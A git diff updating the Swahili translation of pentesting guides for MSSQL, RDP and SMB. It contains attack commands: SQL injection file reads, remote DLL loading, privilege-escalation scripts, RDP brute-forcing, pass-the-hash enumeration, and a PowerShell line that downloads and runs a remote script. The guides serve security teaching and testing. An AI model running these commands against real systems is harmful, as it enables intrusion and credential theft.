wa uendeshaji ambayo akaunti ina ruhusa ya kusoma**. Tunaweza kutumia query ya SQL ifuatayo: +Kwa default, `MSSQL` inaruhusu kusoma faili **katika faili yoyote katika mfumo wa uendeshaji ambao akaunti ina ruhusa ya kusoma**. Tunaweza kutumia query ya SQL ifuatayo: ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` @@ -319,11 +323,11 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE ``` https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- ``` -### **RCE/Read files executing scripts (Python and R)** +### **RCE/Kusoma faili kutekeleza scripts (Python na R)** -MSSQL inaweza kukuruhusu kuendesha **scripts katika Python na/au R**. Hizi code zitaendeshwa na **mtumiaji tofauti** na yule anayatumia **xp_cmdshell** kuendesha amri. +MSSQL inaweza kukuruhusu kutekeleza **scripts katika Python na/au R**. Hizi code zitatekelezwa na **mtumiaji tofauti** na yule anayetumia **xp_cmdshell** kutekeleza amri. -Mfano wa kujaribu kuendesha **'R'** _"Hellow World!"_ **haifanyi kazi**: +Mfano wa kujaribu kutekeleza **'R'** _"Hellow World!"_ **haifanyi kazi**: ![](<../../images/image (393).png>) @@ -343,7 +347,7 @@ GO ``` ### Soma Usajili -Microsoft SQL Server inatoa **taratibu za kuhifadhi zilizopanuliwa** ambazo zinakuwezesha kuingiliana si tu na mtandao bali pia na mfumo wa faili na hata [**Usajili wa Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** +Microsoft SQL Server inatoa **taratibu za kuhifadhi zilizopanuliwa nyingi** ambazo zinakuwezesha kuingiliana si tu na mtandao bali pia na mfumo wa faili na hata [**Usajili wa Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** | **Kawaida** | **Inayojulikana kwa Kifaa** | | --------------------------- | ------------------------------------ | @@ -370,13 +374,13 @@ Kwa **mfano zaidi** angalia [**chanzo asilia**](https://blog.waynesheffield.com/ ### RCE na MSSQL User Defined Function - SQLHttp -Inawezekana **kuchaji .NET dll ndani ya MSSQL kwa kutumia kazi za kawaida**. Hata hivyo, **hii inahitaji `dbo` ufikiaji** hivyo unahitaji muunganisho na database **kama `sa` au jukumu la Msimamizi**. +Inawezekana **kuchaji .NET dll ndani ya MSSQL kwa kutumia kazi za kawaida**. Hata hivyo, **hii inahitaji `dbo` ufikiaji** hivyo unahitaji muunganisho na database **kama `sa` au jukumu la Administrator**. [**Fuata kiungo hiki**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) kuona mfano. ### RCE na `autoadmin_task_agents` -Kulingana na [**post hii**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), pia inawezekana kuchaji dll ya mbali na kufanya MSSQL iite kwa kutumia kitu kama: +Kulingana[ **na chapisho hili**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), pia inawezekana kuchaji dll ya mbali na kufanya MSSQL iite kwa kutumia kitu kama: ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; ``` @@ -438,7 +442,7 @@ Kuna njia nyingine za kupata utekelezaji wa amri, kama vile kuongeza [extended s ### Kutoka db_owner hadi sysadmin -Ikiwa **mtumiaji wa kawaida** amepewa jukumu la **`db_owner`** juu ya **database inayomilikiwa na mtumiaji wa admin** (kama **`sa`**) na database hiyo imewekwa kama **`trustworthy`**, mtumiaji huyo anaweza kutumia haki hizi kwa **privesc** kwa sababu **stored procedures** zilizoundwa huko zinaweza **kutekelezwa** kama mmiliki (**admin**). +Ikiwa **mtumiaji wa kawaida** amepewa jukumu la **`db_owner`** juu ya **database inayomilikiwa na mtumiaji wa admin** (kama **`sa`**) na database hiyo imewekwa kama **`trustworthy`**, mtumiaji huyo anaweza kutumia haki hizi vibaya ili **privesc** kwa sababu **stored procedures** zilizoundwa huko zinaweza **kutekelezwa** kama mmiliki (**admin**). ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -477,12 +481,12 @@ Unaweza kutumia moduli ya **metasploit**: msf> use auxiliary/admin/mssql/mssql_escalate_dbowner ``` Au **PS** script: -```powershell +```bash # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184 ``` -### Ujanja wa watumiaji wengine +### Ujumuishaji wa watumiaji wengine SQL Server ina ruhusa maalum, inayoitwa **`IMPERSONATE`**, ambayo **inawaruhusu watumiaji wanaotekeleza kuchukua ruhusa za mtumiaji mwingine** au kuingia hadi muktadha urejelewe au kikao kimalizike. ```sql @@ -522,7 +526,7 @@ Unaweza kufanya shambulio hili kwa kutumia moduli ya **metasploit**: msf> auxiliary/admin/mssql/mssql_escalate_execute_as ``` au kwa kutumia **PS** script: -```powershell +```bash # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1 Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1 Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword! @@ -533,9 +537,9 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse ## Kutolewa kwa nywila kutoka kwa SQL Server Linked Servers -Mshambuliaji anaweza kutoa nywila za SQL Server Linked Servers kutoka kwa SQL Instances na kuzipata kwa maandiko wazi, akimpa mshambuliaji nywila ambazo zinaweza kutumika kupata ushawishi mkubwa zaidi kwenye lengo. Skripti ya kutoa na kufichua nywila zilizohifadhiwa kwa Linked Servers inaweza kupatikana [hapa](https://www.richardswinbank.net/admin/extract_linked_server_passwords) +Mshambuliaji anaweza kutoa nywila za SQL Server Linked Servers kutoka kwa SQL Instances na kuzipata kwa maandiko wazi, akimpa mshambuliaji nywila ambazo zinaweza kutumika kupata ushawishi mkubwa zaidi kwenye lengo. Skripti ya kutoa na kufichua nywila zilizohifadhiwa kwa ajili ya Linked Servers inaweza kupatikana [hapa](https://www.richardswinbank.net/admin/extract_linked_server_passwords) -Baadhi ya mahitaji, na usanidi lazima yafanyike ili exploit hii ifanye kazi. Kwanza kabisa, unapaswa kuwa na haki za Administrator kwenye mashine, au uwezo wa kusimamia Usanidi wa SQL Server. +Baadhi ya mahitaji, na usanidi lazima yafanyike ili exploit hii ifanye kazi. Kwanza kabisa, lazima uwe na haki za Administrator kwenye mashine, au uwezo wa kusimamia Usanidi wa SQL Server. Baada ya kuthibitisha ruhusa zako, unahitaji kusanidi mambo matatu, ambayo ni yafuatayo: @@ -543,7 +547,7 @@ Baada ya kuthibitisha ruhusa zako, unahitaji kusanidi mambo matatu, ambayo ni ya 2. Ongeza parameter ya Kuanzisha, katika kesi hii, bendera ya kufuatilia itaongezwa, ambayo ni -T7806. 3. Wezesha muunganisho wa usimamizi wa mbali. -Ili kujiandaa kwa usanidi huu, [hii hazina](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ina skripti zinazohitajika. Mbali na kuwa na skripti ya powershell kwa kila hatua ya usanidi, hazina pia ina skripti kamili ambayo inachanganya skripti za usanidi na utoaji na ufichuzi wa nywila. +Ili kujiandaa kwa usanidi huu, [hii hazina ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)ina skripti zinazohitajika. Mbali na kuwa na skripti ya powershell kwa kila hatua ya usanidi, hazina pia ina skripti kamili ambayo inachanganya skripti za usanidi na utoaji na ufichuzi wa nywila. Kwa maelezo zaidi, rejelea viungo vifuatavyo kuhusu shambulio hili: [Kufichua Nywila za MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) @@ -551,8 +555,8 @@ Kwa maelezo zaidi, rejelea viungo vifuatavyo kuhusu shambulio hili: [Kufichua Ny ## Kuinua Haki za Mitaa -Mtumiaji anayekimbia MSSQL server atakuwa amewezesha token ya haki **SeImpersonatePrivilege.**\ -Huenda utaweza **kuinua hadi kwa Administrator** ukifuatia moja ya hizi kurasa 2: +Mtumiaji anayekimbia MSSQL server atakuwa amewezesha tokeni ya haki **SeImpersonatePrivilege.**\ +Huenda ukawa na uwezo wa **kuinua hadi Administrator** ukifuatia moja ya hizi kurasa 2: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index b955c4236..d9b1b6e35 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -5,20 +5,20 @@ ## Basic Information -Imetengenezwa na Microsoft, **Remote Desktop Protocol** (**RDP**) imeundwa kuwezesha muunganisho wa kiolesura cha picha kati ya kompyuta kupitia mtandao. Ili kuanzisha muunganisho kama huo, programu ya mteja ya **RDP** inatumika na mtumiaji, na kwa wakati mmoja, kompyuta ya mbali inahitajika kufanya kazi na programu ya seva ya **RDP**. Mpangilio huu unaruhusu udhibiti na ufikiaji wa mazingira ya desktop ya kompyuta ya mbali, kwa msingi unaleta kiolesura chake kwenye kifaa cha mtumiaji. +Imetengenezwa na Microsoft, **Remote Desktop Protocol** (**RDP**) imeundwa kuwezesha muunganisho wa kiolesura cha picha kati ya kompyuta kupitia mtandao. Ili kuanzisha muunganisho kama huo, programu ya mteja wa **RDP** inatumika na mtumiaji, na kwa wakati mmoja, kompyuta ya mbali inahitajika kufanya kazi na programu ya seva ya **RDP**. Mpangilio huu unaruhusu udhibiti na ufikiaji wa mazingira ya desktop ya kompyuta ya mbali, kimsingi ukileta kiolesura chake kwenye kifaa cha mtumiaji. **Default port:** 3389 ``` PORT STATE SERVICE 3389/tcp open ms-wbt-server ``` -## Enumeration +## Uhesabu -### Automatic +### Otomatiki ```bash nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 ``` -Inakagua usimbuaji uliopo na udhaifu wa DoS (bila kusababisha DoS kwa huduma) na kupata taarifa za NTLM za Windows (matoleo). +Inakagua usimbuaji uliopo na udhaifu wa DoS (bila kusababisha DoS kwa huduma) na kupata taarifa za NTLM Windows (matoleo). ### [Brute force](../generic-hacking/brute-force.md#rdp) @@ -33,7 +33,7 @@ crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123' # hydra hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp ``` -### Unganisha na akisi/neno la siri lililojulikana +### Unganisha na akisi/nywila zinazojulikana ```bash rdesktop -u rdesktop -d -u -p @@ -64,7 +64,7 @@ Sasa utakuwa ndani ya kikao cha RDP kilichochaguliwa na utajifanya kuwa mtumiaji **Muhimu**: Unapofikia vikao vya RDP vilivyo hai, utamfukuza mtumiaji ambaye alikuwa akivitumia. -Unaweza kupata nywila kutoka kwa mchakato kwa kuutupa, lakini njia hii ni haraka zaidi na inakuwezesha kuingiliana na desktop za mtumiaji (nywila katika notepad bila kuhifadhiwa kwenye diski, vikao vingine vya RDP vikiwa wazi kwenye mashine nyingine...) +Unaweza kupata nywila kutoka kwa mchakato kwa kuutupa, lakini njia hii ni haraka zaidi na inakuwezesha kuingiliana na madawati ya virtual ya mtumiaji (nywila katika notepad bila kuhifadhiwa kwenye diski, vikao vingine vya RDP vikiwa wazi kwenye mashine nyingine...) #### **Mimikatz** @@ -95,15 +95,19 @@ net localgroup "Remote Desktop Users" UserLoginName /add - [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) -**AutoRDPwn** ni mfumo wa baada ya unyakuzi ulioandaliwa katika Powershell, ulioandaliwa hasa kuendesha kiotomatiki shambulio la **Shadow** kwenye kompyuta za Microsoft Windows. Uthibitisho huu (ulioorodheshwa kama kipengele na Microsoft) unaruhusu mshambuliaji wa mbali **kuona desktop ya mwathirika wake bila idhini yake**, na hata kuidhibiti kwa mahitaji, akitumia zana za asili za mfumo wa uendeshaji wenyewe. +**AutoRDPwn** ni mfumo wa baada ya unyakuzi ulioandikwa kwa Powershell, ulioandaliwa hasa kuendesha kiotomatiki shambulio la **Shadow** kwenye kompyuta za Microsoft Windows. Uthibitisho huu (ulioorodheshwa kama kipengele na Microsoft) unaruhusu mshambuliaji wa mbali **kuona desktop ya mwathirika bila idhini yake**, na hata kuidhibiti kwa mahitaji, akitumia zana za asili za mfumo wa uendeshaji wenyewe. - [**EvilRDP**](https://github.com/skelsec/evilrdp) - Dhibiti panya na kibodi kwa njia ya kiotomatiki kutoka kwa mstari wa amri - Dhibiti clipboard kwa njia ya kiotomatiki kutoka kwa mstari wa amri -- Tengeneza proxy ya SOCKS kutoka kwa mteja inayochanganya mawasiliano ya mtandao kwa lengo kupitia RDP +- Tengeneza proxy ya SOCKS kutoka kwa mteja inayochanganya mawasiliano ya mtandao na lengo kupitia RDP - Tekeleza amri za SHELL na PowerShell bila kupakia faili kwenye lengo - Pakia na pakua faili kutoka/kwa lengo hata wakati uhamishaji wa faili umekataliwa kwenye lengo +- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP) + +Zana hii inaruhusu kutekeleza amri kwenye RDP ya mwathirika **bila kuhitaji kiolesura cha picha**. + ## HackTricks Automatic Commands ``` Protocol_Name: RDP #Protocol Abbreviation if there is one. diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md index 7da9d3932..a2839fee9 100644 --- a/src/network-services-pentesting/pentesting-smb.md +++ b/src/network-services-pentesting/pentesting-smb.md @@ -4,13 +4,13 @@ ## **Port 139** -_**Network Basic Input Output System**_** (NetBIOS)** ni protokali ya programu iliyoundwa kuwezesha programu, PCs, na Desktops ndani ya mtandao wa eneo la ndani (LAN) kuingiliana na vifaa vya mtandao na **kuwezesha uhamasishaji wa data kupitia mtandao**. Utambuzi na eneo la programu za programu zinazofanya kazi kwenye mtandao wa NetBIOS unafanywa kupitia majina yao ya NetBIOS, ambayo yanaweza kuwa na urefu wa hadi herufi 16 na mara nyingi ni tofauti na jina la kompyuta. Kikao cha NetBIOS kati ya programu mbili kinaanzishwa wakati programu moja (ikienda kama mteja) inatoa amri ya "kuita" programu nyingine (ikienda kama seva) ikitumia **TCP Port 139**. +_**Network Basic Input Output System**_** (NetBIOS)** ni protokali ya programu iliyoundwa kuwezesha programu, PCs, na Desktops ndani ya mtandao wa eneo la ndani (LAN) kuingiliana na vifaa vya mtandao na **kuwezesha uhamasishaji wa data kupitia mtandao**. Utambuzi na eneo la programu za software zinazofanya kazi kwenye mtandao wa NetBIOS unafanywa kupitia majina yao ya NetBIOS, ambayo yanaweza kuwa na urefu wa hadi herufi 16 na mara nyingi ni tofauti na jina la kompyuta. Kikao cha NetBIOS kati ya programu mbili kinaanzishwa wakati programu moja (ikienda kama mteja) inatoa amri ya "kuita" programu nyingine (ikienda kama seva) ikitumia **TCP Port 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -Kitaalamu, Port 139 inajulikana kama ‘NBT over IP’, wakati Port 445 inatambulika kama ‘SMB over IP’. Kifupi **SMB** kinamaanisha ‘**Server Message Blocks**’, ambayo pia inajulikana kisasa kama **Common Internet File System (CIFS)**. Kama itifaki ya mtandao ya kiwango cha programu, SMB/CIFS inatumika hasa kuwezesha ufikiaji wa pamoja wa faili, printers, serial ports, na kuwezesha aina mbalimbali za mawasiliano kati ya nodi kwenye mtandao. +Kitaalamu, Port 139 inajulikana kama ‘NBT over IP’, wakati Port 445 inatambulika kama ‘SMB over IP’. Kifupi **SMB** kinamaanisha ‘**Server Message Blocks**’, ambacho pia kinajulikana kisasa kama **Common Internet File System (CIFS)**. Kama itifaki ya mtandao ya kiwango cha programu, SMB/CIFS inatumika hasa kuwezesha ufikiaji wa pamoja wa faili, printers, serial ports, na kuwezesha aina mbalimbali za mawasiliano kati ya nodi kwenye mtandao. Kwa mfano, katika muktadha wa Windows, inasisitizwa kwamba SMB inaweza kufanya kazi moja kwa moja juu ya TCP/IP, ikiondoa hitaji la NetBIOS juu ya TCP/IP, kupitia matumizi ya port 445. Kinyume chake, kwenye mifumo tofauti, matumizi ya port 139 yanaonekana, ikionyesha kwamba SMB inatekelezwa pamoja na NetBIOS juu ya TCP/IP. ``` @@ -18,13 +18,13 @@ Kwa mfano, katika muktadha wa Windows, inasisitizwa kwamba SMB inaweza kufanya k ``` ### SMB -**Server Message Block (SMB)** protokali, inayofanya kazi katika **mfano wa mteja-server**, imeundwa kwa ajili ya kudhibiti **ufikiaji wa faili**, directories, na rasilimali nyingine za mtandao kama printers na routers. Kimsingi inatumika ndani ya mfululizo wa mifumo ya uendeshaji ya **Windows**, SMB inahakikisha ufanisi wa nyuma, ikiruhusu vifaa vyenye toleo jipya la mfumo wa uendeshaji wa Microsoft kuingiliana kwa urahisi na vile vinavyotumia toleo la zamani. Zaidi ya hayo, mradi wa **Samba** unatoa suluhisho la programu ya bure, linalowezesha utekelezaji wa SMB kwenye mifumo ya **Linux** na Unix, hivyo kurahisisha mawasiliano kati ya majukwaa kupitia SMB. +Protokali ya **Server Message Block (SMB)**, inayofanya kazi katika mfano wa **mteja-server**, imeundwa kwa ajili ya kudhibiti **ufikiaji wa faili**, directories, na rasilimali nyingine za mtandao kama printers na routers. Kimsingi inatumika ndani ya mfululizo wa mifumo ya uendeshaji ya **Windows**, SMB inahakikisha ufanisi wa nyuma, ikiruhusu vifaa vyenye toleo jipya la mfumo wa uendeshaji wa Microsoft kuingiliana kwa urahisi na vile vinavyotumia toleo la zamani. Zaidi ya hayo, mradi wa **Samba** unatoa suluhisho la programu ya bure, linalowezesha utekelezaji wa SMB kwenye mifumo ya **Linux** na Unix, hivyo kurahisisha mawasiliano kati ya majukwaa kupitia SMB. -Hisa, zinazoakisi **sehemu za nasibu za mfumo wa faili wa ndani**, zinaweza kutolewa na seva ya SMB, na kufanya hiyerarhii ionekane kwa mteja kwa sehemu **huru** kutoka kwa muundo halisi wa seva. **Access Control Lists (ACLs)**, ambazo zinaelezea **haki za ufikiaji**, zinaruhusu **udhibiti wa kina** juu ya ruhusa za watumiaji, ikiwa ni pamoja na sifa kama **`execute`**, **`read`**, na **`full access`**. Ruhusa hizi zinaweza kutolewa kwa watumiaji binafsi au vikundi, kulingana na hisa, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva. +Hisa, zinazoakisi **sehemu za kiholela za mfumo wa faili wa ndani**, zinaweza kutolewa na seva ya SMB, na kufanya hiyerarhii ionekane kwa mteja kwa sehemu **huru** kutoka muundo halisi wa seva. **Access Control Lists (ACLs)**, ambazo zinaelezea **haki za ufikiaji**, zinaruhusu **udhibiti wa kina** juu ya ruhusa za watumiaji, ikiwa ni pamoja na sifa kama **`execute`**, **`read`**, na **`full access`**. Ruhusa hizi zinaweza kutolewa kwa watumiaji binafsi au vikundi, kulingana na hisa, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva. ### IPC$ Share -Ufikiaji wa hisa ya IPC$ unaweza kupatikana kupitia kikao cha kutokujulikana, kuruhusu mwingiliano na huduma zilizoonyeshwa kupitia mabomba yaliyopewa majina. Zana `enum4linux` ni muhimu kwa ajili ya kusudi hili. Ikitumika ipasavyo, inaruhusu kupata: +Ufikiaji wa hisa ya IPC$ unaweza kupatikana kupitia kikao cha kutokujulikana, kuruhusu mwingiliano na huduma zinazofichuliwa kupitia mabomba yaliyopewa majina. Chombo `enum4linux` ni muhimu kwa kusudi hili. Ikitumika ipasavyo, inaruhusu kupata: - Taarifa kuhusu mfumo wa uendeshaji - Maelezo kuhusu domain ya mzazi @@ -36,7 +36,7 @@ Funguo hii ni muhimu kwa wasimamizi wa mtandao na wataalamu wa usalama kutathmin ```bash enum4linux -a target_ip ``` -Jambo hili ni mfano wa jinsi `enum4linux` inaweza kutumika kufanya uainishaji kamili dhidi ya lengo lililobainishwa na `target_ip`. +Jukumu hapo juu ni mfano wa jinsi `enum4linux` inaweza kutumika kufanya uainishaji kamili dhidi ya lengo lililobainishwa na `target_ip`. ## Nini NTLM @@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24 Ili kutafuta uwezekano wa kutumia udhaifu kwenye toleo la SMB, ni muhimu kujua ni toleo gani linatumika. Ikiwa taarifa hii haitokei katika zana nyingine zinazotumika, unaweza: -- Tumia moduli ya **MSF** ya ziada \_**auxiliary/scanner/smb/smb_version** +- Tumia moduli ya **MSF** ya ziada _**auxiliary/scanner/smb/smb_version**_ - Au skripti hii: ```bash #!/bin/sh @@ -119,7 +119,7 @@ rpcclient -U "username%passwd" #With creds /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` -### Orodha Watumiaji, Makundi & Watumiaji Walioingia +### Orodha Watumiaji, Vikundi & Watumiaji Walioingia Taarifa hii inapaswa kuwa tayari imekusanywa kutoka enum4linux na enum4linux-ng ```bash @@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md ### Orodha ya folda zilizoshirikiwa -Daima inashauriwa kuangalia kama unaweza kufikia chochote, ikiwa huna akreditif jaribu kutumia **null** **credentials/mtembezi wa wageni**. +Kila wakati inashauriwa kuangalia kama unaweza kufikia chochote, ikiwa huna akidi jaribu kutumia **null** **credentials/mtembezi wa wageni**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -183,7 +183,7 @@ crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` -### **Unganisha/Orodhesha folda iliyoshirikiwa** +### **Unganisha/Orodhesha folda iliyo shared** ```bash #Connect using smbclient smbclient --no-pass /// @@ -195,9 +195,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **Manually enumerate windows shares and connect to them** +### **Kuhesabu kwa mikono sehemu za windows na kuungana nazo** -Inawezekana kwamba umepigwa marufuku kuonyesha sehemu zozote za mashine ya mwenyeji na unapojaribu kuorodhesha zinaonekana kana kwamba hakuna sehemu za kuungana nazo. Hivyo inaweza kuwa na maana kujaribu kuungana kwa mikono na sehemu. Ili kuorodhesha sehemu kwa mikono unaweza kutaka kutafuta majibu kama NT_STATUS_ACCESS_DENIED na NT_STATUS_BAD_NETWORK_NAME, unapokuwa ukitumia kikao halali (mfano, kikao kisicho na maudhui au akidi halali). Haya yanaweza kuashiria ikiwa sehemu hiyo ipo na huna ufikiaji wake au sehemu hiyo haipo kabisa. +Inaweza kuwa inawezekana kwamba umepigwa marufuku kuonyesha sehemu zozote za mashine ya mwenyeji na unapojaribu kuorodhesha zinaonekana kana kwamba hakuna sehemu za kuungana nazo. Hivyo inaweza kuwa na maana kujaribu kuungana kwa mikono na sehemu. Ili kuhesabu sehemu hizo kwa mikono unaweza kutafuta majibu kama NT_STATUS_ACCESS_DENIED na NT_STATUS_BAD_NETWORK_NAME, unapokuwa ukitumia kikao halali (mfano, kikao kisicho na maudhui au akidi halali). Haya yanaweza kuashiria ikiwa sehemu hiyo ipo na huna ufikiaji kwake au sehemu hiyo haipo kabisa. Majina ya kawaida ya sehemu kwa malengo ya windows ni @@ -217,7 +217,7 @@ Unaweza kujaribu kuungana nazo kwa kutumia amri ifuatayo smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -au kwa script hii (ikitumika sessio tupu) +au kwa hii script (ikitumia kikao kisicho na thamani) ```bash #/bin/bash @@ -239,10 +239,10 @@ mfano smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Kukadiria hisa kutoka Windows / bila zana za upande wa tatu** +### **Kuhesabu hisa kutoka Windows / bila zana za upande wa tatu** PowerShell -```powershell +```bash # Retrieves the SMB shares on the locale computer. Get-SmbShare Get-WmiObject -Class Win32_Share @@ -251,7 +251,7 @@ get-smbshare -CimSession "" # Retrieves the connections established from the local SMB client to the SMB servers. Get-SmbConnection ``` -Konsoli ya CMD +CMD console ```shell # List shares on the local computer net share @@ -265,7 +265,7 @@ fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` -explorer.exe (grafiki), ingiza `\\\` kuona sehemu za kushiriki zisizofichwa. +explorer.exe (grafiki), ingiza `\\\` ili kuona sehemu za kushiriki zisizo na siri. ### Pandisha folda iliyo shared ```bash @@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **Pakua faili** -Soma sehemu za awali kujifunza jinsi ya kuungana na akiba/Pass-the-Hash. +Soma sehemu za awali kujifunza jinsi ya kuungana na akidi/Pass-the-Hash. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap @@ -291,16 +291,16 @@ smbclient /// ``` Amri: -- mask: inabainisha kivuli ambacho kinatumika kuchuja faili ndani ya saraka (kwa mfano, "" kwa faili zote) -- recurse: inawasha urudiwa (kawaida: off) -- prompt: inawasha kuomba majina ya faili off (kawaida: on) -- mget: inakopi faili zote zinazolingana na kivuli kutoka kwa mwenyeji hadi mashine ya mteja +- mask: inabainisha mask ambayo inatumika kuchuja faili ndani ya saraka (kwa mfano, "" kwa faili zote) +- recurse: inawasha recursion (kawaida: off) +- prompt: inawasha kuomba majina ya faili (kawaida: on) +- mget: inakopi faili zote zinazolingana na mask kutoka kwa mwenyeji hadi mashine ya mteja (_Taarifa kutoka kwa manpage ya smbclient_) ### Utafutaji wa Folda za Kshared za Domain -- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\* +- [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` @@ -310,7 +310,11 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Hasa ya kuvutia kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani zinaweza **kuhifadhi nywila** za watumiaji walioanzishwa na **autologon** kupitia Sera ya Kundi. Au faili za **`web.config`** kwani zina **akidi**. +Hasa ya kuvutia kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani **zinaweza kuwa na nywila** za watumiaji walioanzishwa na **autologon** kupitia Sera ya Kundi. Au faili za **`web.config`** kwani zina nyaraka za kuingia. + +- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares) +- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")` +- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test` > [!NOTE] > **SYSVOL share** inaweza **kusomwa** na watumiaji wote walioidhinishwa katika eneo. Ndani yake unaweza **kupata** batch nyingi tofauti, VBScript, na **scripts** za PowerShell.\ @@ -318,7 +322,7 @@ Hasa ya kuvutia kutoka kwa sehemu ni faili zinazoitwa **`Registry.xml`** kwani z ## Soma Registry -Unaweza kuwa na uwezo wa **kusoma registry** kwa kutumia baadhi ya akidi zilizogunduliwa. Impacket **`reg.py`** inakuwezesha kujaribu: +Unaweza kuwa na uwezo wa **kusoma registry** kwa kutumia baadhi ya nyaraka zilizogunduliwa. Impacket **`reg.py`** inakuwezesha kujaribu: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -330,16 +334,16 @@ The **default config of** a **Samba** server is usually located in `/etc/samba/s | **Setting** | **Description** | | --------------------------- | ------------------------------------------------------------------- | -| `browseable = yes` | Ruhusu orodha ya sehemu zinazopatikana katika sehemu ya sasa? | -| `read only = no` | Kataza uundaji na mabadiliko ya faili? | -| `writable = yes` | Ruhusu watumiaji kuunda na kubadilisha faili? | -| `guest ok = yes` | Ruhusu kuungana na huduma bila kutumia nenosiri? | -| `enable privileges = yes` | Heshimu mamlaka zilizotolewa kwa SID maalum? | +| `browseable = yes` | Je, ruhusu orodha ya sehemu zinazopatikana katika sehemu ya sasa? | +| `read only = no` | Je, kataza uundaji na mabadiliko ya faili? | +| `writable = yes` | Je, ruhusu watumiaji kuunda na kubadilisha faili? | +| `guest ok = yes` | Je, ruhusu kuungana na huduma bila kutumia nenosiri? | +| `enable privileges = yes` | Je, heshimu mamlaka yaliyotolewa kwa SID maalum? | | `create mask = 0777` | Ni ruhusa gani zinapaswa kutolewa kwa faili mpya zilizoundwa? | 